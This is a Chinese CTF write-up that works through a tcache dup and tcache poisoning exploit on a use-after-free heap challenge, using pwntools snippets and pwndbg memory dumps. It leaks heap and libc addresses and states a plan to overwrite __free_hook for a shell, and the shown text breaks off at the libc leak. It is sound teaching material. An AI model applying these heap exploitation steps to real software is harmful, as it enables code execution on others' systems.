Tcache Attack中的Tcache Poisoning和Tcache dup(例子)
参考资料:PWN入门(3-16-3)-Tcache Attack中的Tcache Poisoning和Tcache dup(例子) (yuque.com) Cyberangel佬写的tql
附件下载:
链接:https://pan.baidu.com/s/1GfP5a_Dtbv0sKLAo35A9Ow 提取码:yczj –来自百度网盘超级会员V3的分享
Linux环境
本次实验,我采用的是通过patchelf修改libc文件后再进行实验,因为我使用的Ubuntu16.04的libc版本为2.23,没有tcache机制。
具体patchelf使用方法,详见https://zhuyuan1213.top/2023/08/12/glibc%E7%89%88%E6%9C%AC%E7%9A%84%E6%9B%B4%E6%8D%A2/
IDA静态分析
菜单界面。
1、add-添加函数
通过add函数申请一块固定大小的堆块。并且堆块指针保存在memo全局变量中。
2、show函数
查看malloc出的一个堆块。
3、delete函数(存在UAF)
只释放了堆块,但memo指针没有置空,存在UAF漏洞。
0、exit函数 退出程序。
Pwngdb动态调试 查看文件保护
保护全开,但在pwngdb调试时程序内存分布不会随机化 。
第一次输入内容: gdb运行程序,第一次输入内容:12345678
然后观察内存:
1 2 3 4 5 6 7 8 9 10 11 12 13 pwndbg> x/120 gx 0x555555759000 0x555555759000 : 0x0000000000000000 0x0000000000000251 0x555555759010 : 0x0000000000000000 0x0000000000000000 ......(省略为空) 0x555555759240 : 0x0000000000000000 0x0000000000000000 0x555555759250 : 0x0000000000000000 0x0000000000000411 #输入时自动申请的缓冲区,没有影响0x555555759260 : 0x3837363534333231 0x000000000000000a ......(省略为空) 0x555555759660 : 0x0000000000000000 0x0000000000000051 #chunkl 0x555555759670 : 0x3837363534333231 0x0000000000000000 #12345678 (小端序) ......(省略为空) 0x5555557596b0 : 0x0000000000000000 0x0000000000020951 #top_chunk
此时memo指向的就是malloc chunk1的data。
第二次输入内容 输入c后继续运行程序,输入 “qwertyuiop” ,再次查看内存情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> x/120 gx 0x555555759000 0x555555759000 : 0x0000000000000000 0x0000000000000251 0x555555759010 : 0x0000000000000000 0x0000000000000000 ......(省略为空) 0x555555759240 : 0x0000000000000000 0x0000000000000000 0x555555759250 : 0x0000000000000000 0x0000000000000411 #输入时自动申请的缓冲区,没有影响0x555555759260 : 0x6975797472657771 0x00000000000a706f ......(省略为空) 0x555555759660 : 0x0000000000000000 0x0000000000000051 #chunkl 0x555555759670 : 0x3837363534333231 0x0000000000000000 #qwertyuiop(小端序) ......(省略为空) 0x5555557596b0 : 0x0000000000000000 0x0000000000000051 0x5555557596c0 : 0x6975797472657771 0x000000000000706f ......(省略为空) 0x555555759700 : 0x0000000000000000 0x0000000000020951 #top_chunk
此时memo指向的是malloc chunk2的data。
所以根据这两次输入,得出一个结论:
每当再次malloc时,原来的堆块不会消失,但是之后malloc出的chunk指针覆盖了原来指针地址并且指向了新的chunk_data。 之后的free也是根据memo的内容来写的。
free第二个堆块 free之前创建的第二个chunk:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 pwndbg> heap 0x555555759000 PREV_INUSE { mchunk_prev_size = 0 , mchunk_size = 593 , fd = 0x1000000 , bk = 0x0 , fd_nextsize = 0x0 , bk_nextsize = 0x0 } 0x555555759250 PREV_INUSE { mchunk_prev_size = 0 , mchunk_size = 1041 , fd = 0x6975797472650a33 , bk = 0xa706f , fd_nextsize = 0x0 , bk_nextsize = 0x0 } 0x555555759660 FASTBIN { mchunk_prev_size = 0 , mchunk_size = 81 , fd = 0x3837363534333231 , bk = 0x0 , fd_nextsize = 0x0 , bk_nextsize = 0x0 } 0x5555557596b0 FASTBIN { mchunk_prev_size = 0 , mchunk_size = 81 , fd = 0x0 , bk = 0x706f , fd_nextsize = 0x0 , bk_nextsize = 0x0 } 0x555555759700 PREV_INUSE { mchunk_prev_size = 0 , mchunk_size = 133377 , fd = 0x0 , bk = 0x0 , fd_nextsize = 0x0 , bk_nextsize = 0x0 } pwndbg> bin tcachebins 0x50 [ 1 ]: 0x5555557596c0 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x0 0x70 : 0x0 0x80 : 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
再看一下memo指针:
由于delete函数中存在的UAF漏洞,所以memo指针地址没有清空。
Attack大致思路 题目attack步骤如下:
利用Tcache dup泄露堆地址。
使用泄露的堆地址喝tcache poisoning在内存中伪造大小为0x91的chunk。
free此0x91大小的块7次来填充满0x90 tcache bin。再释放一次就会将free chunk放入到unsortedbin中泄露libc。
利用tcache poisoning攻击覆盖__free_hook到one_gadget。
释放chunk,用于调用execve(‘/bin/sh’)并getshell。
模仿程序的功能 1 2 3 4 5 6 7 8 9 def add (content ): p.sendlineafter('> ' , '1' ) p.sendlineafter('> ' , content) def show (): p.sendlineafter('> ' , '2' ) def free (): p.sendlineafter('> ' , '3' )
泄露堆地址 由于这个程序开启了PIE保护,这样程序每次运行的地址都是随机的。要泄露libc的基地址就要先泄露出堆的地址。由于程序存在UAF漏洞,因此可以对同一个chunk多次进行free。
部分payload:
1 2 3 4 5 6 7 8 9 10 11 12 add('A' *0x3e ) for i in range (4 ): free() show() heap_leak = u64(p.recvline().strip('\n' ).ljust(8 , '\x00' )) log.info('Heap leak: ' + hex (heap_leak))
申请chunk1,memo=’A’*0x3e 首先先申请chunk的内容为0x3e个’A’,申请之后内存状况如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 pwndbg> heap 0x555555759000 PREV_INUSE { mchunk_prev_size = 0 , mchunk_size = 593 , fd = 0x0 , bk = 0x0 , fd_nextsize = 0x0 , bk_nextsize = 0x0 } 0x555555759250 PREV_INUSE { mchunk_prev_size = 0 , mchunk_size = 4113 , fd = 0x4141414141414141 , bk = 0x4141414141414141 , fd_nextsize = 0x4141414141414141 , bk_nextsize = 0x4141414141414141 } 0x55555575a260 FASTBIN { mchunk_prev_size = 0 , mchunk_size = 81 , fd = 0x4141414141414141 , bk = 0x4141414141414141 , fd_nextsize = 0x4141414141414141 , bk_nextsize = 0x4141414141414141 } 0x55555575a2b0 PREV_INUSE { mchunk_prev_size = 0 , mchunk_size = 130385 , fd = 0x0 , bk = 0x0 , fd_nextsize = 0x0 , bk_nextsize = 0x0 } pwndbg> x/160 gx 0x555555759000 0x555555759000 : 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct......(省略为空) 0x555555759250 : 0x0000000000000000 0x0000000000001011 #malloc_butter0x555555759260 : 0x4141414141414141 0x4141414141414141 0x555555759270 : 0x4141414141414141 0x4141414141414141 0x555555759280 : 0x4141414141414141 0x4141414141414141 0x555555759290 : 0x4141414141414141 0x000a414141414141 ......(省略为空) 0x55555575a260 : 0x0000000000000000 0x0000000000000051 #chunk10x55555575a270 : 0x4141414141414141 0x4141414141414141 0x55555575a280 : 0x4141414141414141 0x4141414141414141 0x55555575a290 : 0x4141414141414141 0x4141414141414141 0x55555575a2a0 : 0x4141414141414141 0x0000414141414141 0x55555575a2b0 : 0x0000000000000000 0x000000000001fd51 #top_chunk
利用tcache_dup漏洞4次free(chunk1) 然后对chunk1进行多次free:
1 2 for i in range (4 ): free()
看一下内存:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> x/120 gx 0x555555759000 0x555555759000 : 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct0x555555759010 : 0x0000000004000000 0x0000000000000000 ......(省略为空)#4 个tcache_bin_chunk 0x555555759050 : 0x0000000000000000 0x0000000000000000 0x555555759060 : 0x0000000000000000 0x000055555575a270 ......(省略为空) #指向chunk1_data 0x555555759250 : 0x0000000000000000 0x0000000000001011 #malloc_butter0x555555759260 : 0x4141414141410a33 0x4141414141414141 0x555555759270 : 0x4141414141414141 0x4141414141414141 0x555555759280 : 0x4141414141414141 0x4141414141414141 0x555555759290 : 0x4141414141414141 0x000a414141414141 ......(省略为空) 0x55555575a260 : 0x0000000000000000 0x0000000000000051 #chunk10x55555575a270 : 0x000055555575a270 0x4141414141414141 #指向chunk1_data(自身) 0x55555575a280 : 0x4141414141414141 0x4141414141414141 0x55555575a290 : 0x4141414141414141 0x4141414141414141 0x55555575a2a0 : 0x4141414141414141 0x0000414141414141 0x55555575a2b0 : 0x0000000000000000 0x000000000001fd51 #top_chunk
heap_leak很容易。添加一个chunk并释放四次,再打印其memo就可以得到heap的地址。从上面可以看到free同一堆块四次后打乱了0x50 tcache bin保存的chunk数目(实际bin中只有两条链,虽然都是同一个链)。但是不要担心,之后的步骤会修复此数目。
打印chunk1的memo 当我们打印chunk1的内容时,前8个字节就是chunk1的地址。
泄露Libc基地址 此时,tcache的0x50 bin中已经存在四个free_chunk。(其实都是同一个 )
部分payload:
1 2 add(p64(0 ) + 'A' *8 ) add('A' *8 )
在tcache中malloc出第一个free_chunk 执行之后,查看内存布局:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 pwndbg> x/120 gx 0x555555759000 0x555555759000 : 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct0x555555759010 : 0x0000000003000000 0x0000000000000000 ......(省略为空)#3 个tcache_bin_chunk 0x555555759050 : 0x0000000000000000 0x0000000000000000 0x555555759060 : 0x0000000000000000 0x000055555575a270 ......(省略为空) #指向chunk1_data 0x555555759250 : 0x0000000000000000 0x0000000000001011 #malloc_butter0x555555759260 : 0x4141414141410a33 0x4141414141414141 0x555555759270 : 0x4141414141414141 0x4141414141414141 0x555555759280 : 0x4141414141414141 0x4141414141414141 0x555555759290 : 0x4141414141414141 0x000a414141414141 ......(省略为空) 0x55555575a260 : 0x0000000000000000 0x0000000000000051 #chunk10x55555575a270 : 0x0000000000000000 0x4141414141414141 #chun1_next指针被清空 #指向chunk1_data(自身) 0x55555575a280 : 0x414141414141000a 0x4141414141414141 0x55555575a290 : 0x4141414141414141 0x4141414141414141 0x55555575a2a0 : 0x4141414141414141 0x0000414141414141 0x55555575a2b0 : 0x0000000000000000 0x000000000001fd51 #top_chunk
和之前的内存状况相比较,由于tcache中存在相当于4个free_chunk1,因此在申请的时候优先使用这4个free_chunk1。所以add(p64(0)+ ‘A’*8)时候修改的是chunk1的memo。
这—小段payload的目的是为了清空free_chunk1的next指针
此时tcache的0x50 bin中还存在3个free_chunk1
在tcache中malloc出第二个free_chunk1
重新malloc同一chunk之后,原有的memo并不会消失,而是写入时直接覆盖原有memo
执行之后的内存情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> x/120 gx 0x555555759000 0x555555759000 : 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct0x555555759010 : 0x0000000002000000 0x0000000000000000 ......(省略为空)#2 个tcache_bin_chunk 0x555555759050 : 0x0000000000000000 0x0000000000000000 0x555555759060 : 0x0000000000000000 0x0000000000000000 ......(省略为空) #实际已经空了 0x555555759250 : 0x0000000000000000 0x0000000000001011 #malloc_butter0x555555759260 : 0x4141414141410a33 0x4141414141414141 0x555555759270 : 0x4141414141414141 0x4141414141414141 0x555555759280 : 0x4141414141414141 0x4141414141414141 0x555555759290 : 0x4141414141414141 0x000a414141414141 ......(省略为空) 0x55555575a260 : 0x0000000000000000 0x0000000000000051 #chunk10x55555575a270 : 0x4141414141414141 0x4141414141410000 0x55555575a280 : 0x414141414141000a 0x4141414141414141 0x55555575a290 : 0x4141414141414141 0x4141414141414141 0x55555575a2a0 : 0x4141414141414141 0x0000414141414141 0x55555575a2b0 : 0x0000000000000000 0x000000000001fd51 #top_chunk
通过这两次的malloc,tcachebin的0x50链中剩余两个free_chunk(实际上已经没有了)。
malloc4个新堆块 部分payload:
1 2 for i in range (4 ): add((p64(heap_leak) + p64(0x91 )) * 3 )
上面是创建4个chunk来为泄露libc基地址做好准备,添加堆块的内容均为heap_leak+0x91。
虽然显示的是tcachebin中仍然有2个free_chunk,由于之前我们使用了tcache dup,因此此时实际上tcachebin已空。所以,4个malloc是创建了4个新的堆块,malloc之后tcache_bin的数目不会变化,结果下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 pwndbg> x/120 gx 0x555555759000 0x555555759000 : 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct0x555555759010 : 0x0000000002000000 0x0000000000000000 ......(省略为空)#2 个tcache_bin_chunk 0x555555759050 : 0x0000000000000000 0x0000000000000000 0x555555759060 : 0x0000000000000000 0x0000000000000000 ......(省略为空) 0x555555759250 : 0x0000000000000000 0x0000000000001011 #malloc_butter0x555555759260 : 0x000055555575a270 0x0000000000000091 0x555555759270 : 0x000055555575a270 0x0000000000000091 0x555555759280 : 0x000055555575a270 0x0000000000000091 0x555555759290 : 0x414141414141410a 0x000a414141414141 ......(省略为空) 0x55555575a260 : 0x0000000000000000 0x0000000000000051 #chunk10x55555575a270 : 0x4141414141414141 0x4141414141410000 0x55555575a280 : 0x414141414141000a 0x4141414141414141 0x55555575a290 : 0x4141414141414141 0x4141414141414141 0x55555575a2a0 : 0x4141414141414141 0x0000414141414141 0x55555575a2b0 : 0x0000000000000000 0x0000000000000051 #new_malloc_chunk2 0x55555575a2c0 : 0x000055555575a270 0x0000000000000091 0x55555575a2d0 : 0x000055555575a270 0x0000000000000091 0x55555575a2e0 : 0x000055555575a270 0x0000000000000091 0x55555575a2f0 : 0x000000000000000a 0x0000000000000000 0x55555575a300 : 0x0000000000000000 0x0000000000000051 #new_malloc_chunk30x55555575a310 : 0x000055555575a270 0x0000000000000091 0x55555575a320 : 0x000055555575a270 0x0000000000000091 0x55555575a330 : 0x000055555575a270 0x0000000000000091 0x55555575a340 : 0x000000000000000a 0x0000000000000000 0x55555575a350 : 0x0000000000000000 0x0000000000000051 #new_malloc_chunk40x55555575a360 : 0x000055555575a270 0x0000000000000091 0x55555575a370 : 0x000055555575a270 0x0000000000000091 0x55555575a380 : 0x000055555575a270 0x0000000000000091 0x55555575a390 : 0x000000000000000a 0x0000000000000000 0x55555575a3a0 : 0x0000000000000000 0x0000000000000051 #new_malloc_chunk50x55555575a3b0 : 0x000055555575a270 0x0000000000000091 0x55555575a3c0 : 0x000055555575a270 0x0000000000000091 0x55555575a3d0 : 0x000055555575a270 0x0000000000000091 0x55555575a3e0 : 0x000000000000000a 0x0000000000000000 0x55555575a3f0 : 0x0000000000000000 0x000000000001fc11 #top_chunk
释放两次chunk5到tcache
因为UAF的原因,两次free指的是free两次chunk5
部分payload:
执行后,内存状况如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 pwndbg> x/120 gx 0x555555759000 0x555555759000 : 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct0x555555759010 : 0x0000000004000000 0x0000000000000000 ......(省略为空)#4 个tcache_bin_chunk 0x555555759050 : 0x0000000000000000 0x0000000000000000 0x555555759060 : 0x0000000000000000 0x000055555575a3b0 ......(省略为空) #指向chunk5_data 0x555555759250 : 0x0000000000000000 0x0000000000001011 #malloc_butter0x555555759260 : 0x000055555575a270 0x0000000000000091 0x555555759270 : 0x000055555575a270 0x0000000000000091 0x555555759280 : 0x000055555575a270 0x0000000000000091 0x555555759290 : 0x414141414141410a 0x000a414141414141 ......(省略为空) 0x55555575a260 : 0x0000000000000000 0x0000000000000051 #chunk10x55555575a270 : 0x4141414141414141 0x4141414141410000 0x55555575a280 : 0x414141414141000a 0x4141414141414141 0x55555575a290 : 0x4141414141414141 0x4141414141414141 0x55555575a2a0 : 0x4141414141414141 0x0000414141414141 0x55555575a2b0 : 0x0000000000000000 0x0000000000000051 #new_malloc_chunk2 0x55555575a2c0 : 0x000055555575a270 0x0000000000000091 0x55555575a2d0 : 0x000055555575a270 0x0000000000000091 0x55555575a2e0 : 0x000055555575a270 0x0000000000000091 0x55555575a2f0 : 0x000000000000000a 0x0000000000000000 0x55555575a300 : 0x0000000000000000 0x0000000000000051 #new_malloc_chunk30x55555575a310 : 0x000055555575a270 0x0000000000000091 0x55555575a320 : 0x000055555575a270 0x0000000000000091 0x55555575a330 : 0x000055555575a270 0x0000000000000091 0x55555575a340 : 0x000000000000000a 0x0000000000000000 0x55555575a350 : 0x0000000000000000 0x0000000000000051 #new_malloc_chunk40x55555575a360 : 0x000055555575a270 0x0000000000000091 0x55555575a370 : 0x000055555575a270 0x0000000000000091 0x55555575a380 : 0x000055555575a270 0x0000000000000091 0x55555575a390 : 0x000000000000000a 0x0000000000000000 0x55555575a3a0 : 0x0000000000000000 0x0000000000000051 #new_malloc_chunk50x55555575a3b0 : 0x000055555575a3b0 0x0000000000000091 #指向自身data 0x55555575a3c0 : 0x000055555575a270 0x0000000000000091 0x55555575a3d0 : 0x000055555575a270 0x0000000000000091 0x55555575a3e0 : 0x000000000000000a 0x0000000000000000 0x55555575a3f0 : 0x0000000000000000 0x000000000001fc11 #top_chunk
设置chunk5的next指针,让其指向0xx91的fake_chunk1 接下来我们设置chunk5的next指针,让其指向其中一个大小为0x91的fake_chunk。因为tcachebin中有4个free_chunk,但是实际上只有一个free_chunk5。
部分payload如下:
1 2 3 4 add(p64(heap_leak + 0x60 )) add('A' *8 ) add('A' *8 )
heap_leak = 0x55555575a270
heap_leak + 0x60 = 0x55555575a3d0
由于tcache中只有chunk5,因此第一个add是更改chunk5的next指针,让其指向大小为Ox91的fake_chunk。
执行add(p64(heap_leak + Ox60))之后的结果如下: (tcache_poisoning)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 pwndbg> x/120 gx 0x555555759000 0x555555759000 : 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct0x555555759010 : 0x0000000003000000 0x0000000000000000 ......(省略为空)#3 个tcache_bin_chunk 0x555555759050 : 0x0000000000000000 0x0000000000000000 0x555555759060 : 0x0000000000000000 0x000055555575a3b0 ......(省略为空) #指向chunk5_data 0x555555759250 : 0x0000000000000000 0x0000000000001011 #malloc_butter0x555555759260 : 0x000055555575a270 0x0000000000000091 0x555555759270 : 0x000055555575a270 0x0000000000000091 0x555555759280 : 0x000055555575a270 0x0000000000000091 0x555555759290 : 0x414141414141410a 0x000a414141414141 ......(省略为空) 0x55555575a260 : 0x0000000000000000 0x0000000000000051 #chunk10x55555575a270 : 0x4141414141414141 0x4141414141410000 0x55555575a280 : 0x414141414141000a 0x4141414141414141 0x55555575a290 : 0x4141414141414141 0x4141414141414141 0x55555575a2a0 : 0x4141414141414141 0x0000414141414141 0x55555575a2b0 : 0x0000000000000000 0x0000000000000051 #chunk20x55555575a2c0 : 0x000055555575a270 0x0000000000000091 0x55555575a2d0 : 0x000055555575a270 0x0000000000000091 #fake_chunk10x55555575a2e0 : 0x000055555575a270 0x0000000000000091 0x55555575a2f0 : 0x000000000000000a 0x0000000000000000 0x55555575a300 : 0x0000000000000000 0x0000000000000051 #chunk30x55555575a310 : 0x000055555575a270 0x0000000000000091 0x55555575a320 : 0x000055555575a270 0x0000000000000091 0x55555575a330 : 0x000055555575a270 0x0000000000000091 0x55555575a340 : 0x000000000000000a 0x0000000000000000 0x55555575a350 : 0x0000000000000000 0x0000000000000051 #chunk40x55555575a360 : 0x000055555575a270 0x0000000000000091 0x55555575a370 : 0x000055555575a270 0x0000000000000091 0x55555575a380 : 0x000055555575a270 0x0000000000000091 0x55555575a390 : 0x000000000000000a 0x0000000000000000 0x55555575a3a0 : 0x0000000000000000 0x0000000000000051 #chunk50x55555575a3b0 : 0x000055555575a2d0 0x000000000000000a #chunk5next指针,指向0x91 的fake_chunk 0x55555575a3c0 : 0x000055555575a270 0x0000000000000091 0x55555575a3d0 : 0x000055555575a270 0x0000000000000091 0x55555575a3e0 : 0x000000000000000a 0x0000000000000000 0x55555575a3f0 : 0x0000000000000000 0x000000000001fc11 #top_chunk
可以看到,当我们修改了chunk5的next指针后,count的数目就自动恢复了,也就是说堆的管理机制会根据tcache中的count数目来关联free chunk。
由于tcachebins中最后放入的chunk地址为0x55555575a3b0,因此程序执行add(‘a’*8)之后会使用chunk5:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 pwndbg> x/120 gx 0x555555759000 0x555555759000 : 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct0x555555759010 : 0x0000000002000000 0x0000000000000000 ......(省略为空)#2 个tcache_bin_chunk 0x555555759050 : 0x0000000000000000 0x0000000000000000 0x555555759060 : 0x0000000000000000 0x000055555575a2d0 ......(省略为空) #指向fake_chunk1 0x555555759250 : 0x0000000000000000 0x0000000000001011 #malloc_butter0x555555759260 : 0x4141414141414141 0x000000000000000a 0x555555759270 : 0x000055555575a270 0x0000000000000091 #fake_chunk20x555555759280 : 0x000055555575a270 0x0000000000000091 0x555555759290 : 0x414141414141410a 0x000a414141414141 ......(省略为空) 0x55555575a260 : 0x0000000000000000 0x0000000000000051 #chunk10x55555575a270 : 0x4141414141414141 0x4141414141410000 0x55555575a280 : 0x414141414141000a 0x4141414141414141 0x55555575a290 : 0x4141414141414141 0x4141414141414141 0x55555575a2a0 : 0x4141414141414141 0x0000414141414141 0x55555575a2b0 : 0x0000000000000000 0x0000000000000051 #chunk20x55555575a2c0 : 0x000055555575a270 0x0000000000000091 0x55555575a2d0 : 0x000055555575a270 0x0000000000000091 #fake_chunk10x55555575a2e0 : 0x000055555575a270 0x0000000000000091 0x55555575a2f0 : 0x000000000000000a 0x0000000000000000 #指向fake_chunk2 0x55555575a300 : 0x0000000000000000 0x0000000000000051 #chunk30x55555575a310 : 0x000055555575a270 0x0000000000000091 0x55555575a320 : 0x000055555575a270 0x0000000000000091 0x55555575a330 : 0x000055555575a270 0x0000000000000091 0x55555575a340 : 0x000000000000000a 0x0000000000000000 0x55555575a350 : 0x0000000000000000 0x0000000000000051 #chunk40x55555575a360 : 0x000055555575a270 0x0000000000000091 0x55555575a370 : 0x000055555575a270 0x0000000000000091 0x55555575a380 : 0x000055555575a270 0x0000000000000091 0x55555575a390 : 0x000000000000000a 0x0000000000000000 0x55555575a3a0 : 0x0000000000000000 0x0000000000000051 #chunk50x55555575a3b0 : 0x4141414141414141 0x000000000000000a #8 *'A' 0x55555575a3c0 : 0x000055555575a270 0x0000000000000091 0x55555575a3d0 : 0x000055555575a270 0x0000000000000091 0x55555575a3e0 : 0x000000000000000a 0x0000000000000000 0x55555575a3f0 : 0x0000000000000000 0x000000000001fc11 #top_chunk
同理,再次执行add(‘a’*8),程序会使用地址为0x55555575a2d0的fake_chunk1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 pwndbg> x/120 gx 0x555555759000 0x555555759000 : 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct0x555555759010 : 0x0000000001000000 0x0000000000000000 ......(省略为空)#1 个tcache_bin_chunk 0x555555759050 : 0x0000000000000000 0x0000000000000000 0x555555759060 : 0x0000000000000000 0x000055555575a270 ......(省略为空) 0x555555759250 : 0x0000000000000000 0x0000000000001011 #malloc_butter0x555555759260 : 0x4141414141414141 0x000000000000000a 0x555555759270 : 0x000055555575a270 0x0000000000000091 #fake_chunk20x555555759280 : 0x000055555575a270 0x0000000000000091 0x555555759290 : 0x414141414141410a 0x000a414141414141 ......(省略为空) 0x55555575a260 : 0x0000000000000000 0x0000000000000051 #chunk10x55555575a270 : 0x4141414141414141 0x4141414141410000 0x55555575a280 : 0x414141414141000a 0x4141414141414141 0x55555575a290 : 0x4141414141414141 0x4141414141414141 0x55555575a2a0 : 0x4141414141414141 0x0000414141414141 0x55555575a2b0 : 0x0000000000000000 0x0000000000000051 #chunk20x55555575a2c0 : 0x000055555575a270 0x0000000000000091 #fake_chunk10x55555575a2d0 : 0x4141414141414141 0x0000000000000000 0x55555575a2e0 : 0x000055555575a270 0x0000000000000091 0x55555575a2f0 : 0x000000000000000a 0x0000000000000000 #指向fake_chunk2 0x55555575a300 : 0x0000000000000000 0x0000000000000051 #chunk30x55555575a310 : 0x000055555575a270 0x0000000000000091 0x55555575a320 : 0x000055555575a270 0x0000000000000091 0x55555575a330 : 0x000055555575a270 0x0000000000000091 0x55555575a340 : 0x000000000000000a 0x0000000000000000 0x55555575a350 : 0x0000000000000000 0x0000000000000051 #chunk40x55555575a360 : 0x000055555575a270 0x0000000000000091 0x55555575a370 : 0x000055555575a270 0x0000000000000091 0x55555575a380 : 0x000055555575a270 0x0000000000000091 0x55555575a390 : 0x000000000000000a 0x0000000000000000 0x55555575a3a0 : 0x0000000000000000 0x0000000000000051 #chunk50x55555575a3b0 : 0x4141414141414141 0x000000000000000a #8 *'A' 0x55555575a3c0 : 0x000055555575a270 0x0000000000000091 0x55555575a3d0 : 0x000055555575a270 0x0000000000000091 0x55555575a3e0 : 0x000000000000000a 0x0000000000000000 0x55555575a3f0 : 0x0000000000000000 0x000000000001fc11 #top_chunk
tcachebins中现在只有一个chunk–chunk1
利用unsortedbin泄露libc基地址 来看一下此时程序bss段中memo指针变量:
1 2 3 4 5 6 7 8 9 10 pwndbg> x/16 gx 0x555555756050 0x555555756050 : 0x000055555575a2d0 0x001a000300000000 #指向fake_chunk1 0x555555756060 : 0x0000000000203230 0x0000000000000000 0x555555756070 : 0x0001000300000000 0x0000000000000254 0x555555756080 : 0x0000000000000000 0x0002000300000000 0x555555756090 : 0x0000000000000274 0x0000000000000000 0x5555557560a0 : 0x0003000300000000 0x0000000000000298 0x5555557560b0 : 0x0000000000000000 0x0004000300000000 0x5555557560c0 : 0x00000000000002c8 0x0000000000000000
由于这时memo指针指向fake_chunk1,接下来的对chunk进行7次free来是针对fake_chunk1的,以此来填满tcache_bin。
部分payload如下:
1 2 3 4 5 6 for i in range (8 ): free() show() leak = u64(p.recvline().strip('\n' ).ljust(8 , '\x00' )) libc.address = leak - 0x3ebca0
由于在free7次之后,tcache的0x90链已满,但是0x90大小的chunk并不符合fastbin的大小,因此第8次free之后会放入unsortedbin中,这也就是我们为什么要伪造大小为0x91的fake_chunk。
第八次free之后的chunk将进入unsortedbin,当chunk进入unsortedbin之后,打印其memo就会泄露libc的地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 pwndbg> x/120 gx 0x555555759000 0x555555759000 : 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct0x555555759010 : 0x0700000001000000 0x0000000000000000 ......(省略为空)#8 个tcache_bin_chunk 0x555555759050 : 0x0000000000000000 0x0000000000000000 0x555555759060 : 0x0000000000000000 0x000055555575a270 0x555555759070 : 0x0000000000000000 0x0000000000000000 0x555555759080 : 0x0000000000000000 0x000055555575a2d0 0x555555759250 : 0x0000000000000000 0x0000000000001011 #malloc_butter0x555555759260 : 0x4141414141410a33 0x000000000000000a 0x555555759270 : 0x000055555575a270 0x0000000000000091 #fake_chunk20x555555759280 : 0x000055555575a270 0x0000000000000091 0x555555759290 : 0x414141414141410a 0x000a414141414141 ......(省略为空) 0x55555575a260 : 0x0000000000000000 0x0000000000000051 #chunk10x55555575a270 : 0x4141414141414141 0x4141414141410000 0x55555575a280 : 0x414141414141000a 0x4141414141414141 0x55555575a290 : 0x4141414141414141 0x4141414141414141 0x55555575a2a0 : 0x4141414141414141 0x0000414141414141 0x55555575a2b0 : 0x0000000000000000 0x0000000000000051 #chunk20x55555575a2c0 : 0x000055555575a270 0x0000000000000091 #fake_chunk10x55555575a2d0 : 0x00007ffff7dcfca0 0x00007ffff7dcfca0 0x55555575a2e0 : 0x000055555575a270 0x0000000000000091 0x55555575a2f0 : 0x000000000000000a 0x0000000000000000 #指向fake_chunk2 0x55555575a300 : 0x0000000000000000 0x0000000000000051 #chunk30x55555575a310 : 0x000055555575a270 0x0000000000000091 0x55555575a320 : 0x000055555575a270 0x0000000000000091 0x55555575a330 : 0x000055555575a270 0x0000000000000091 0x55555575a340 : 0x000000000000000a 0x0000000000000000 0x55555575a350 : 0x0000000000000000 0x0000000000000051 #chunk40x55555575a360 : 0x000055555575a270 0x0000000000000091 0x55555575a370 : 0x000055555575a270 0x0000000000000091 0x55555575a380 : 0x000055555575a270 0x0000000000000091 0x55555575a390 : 0x000000000000000a 0x0000000000000000 0x55555575a3a0 : 0x0000000000000000 0x0000000000000051 #chunk50x55555575a3b0 : 0x4141414141414141 0x000000000000000a #8 *'A' 0x55555575a3c0 : 0x000055555575a270 0x0000000000000091 0x55555575a3d0 : 0x000055555575a270 0x0000000000000091 0x55555575a3e0 : 0x000000000000000a 0x0000000000000000 0x55555575a3f0 : 0x0000000000000000 0x000000000001fc11 #top_chunkpwndbg> bin tcachebins 0x50 [ 1 ]: 0x55555575a270 ◂— 'AAAAAAAA' 0x90 [ 7 ]: 0x55555575a2d0 —▸ 0x7ffff7dcfca0 (main_arena+96 ) —▸ 0x55555575a3f0 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x0 0x70 : 0x0 0x80 : 0x0 unsortedbin all: 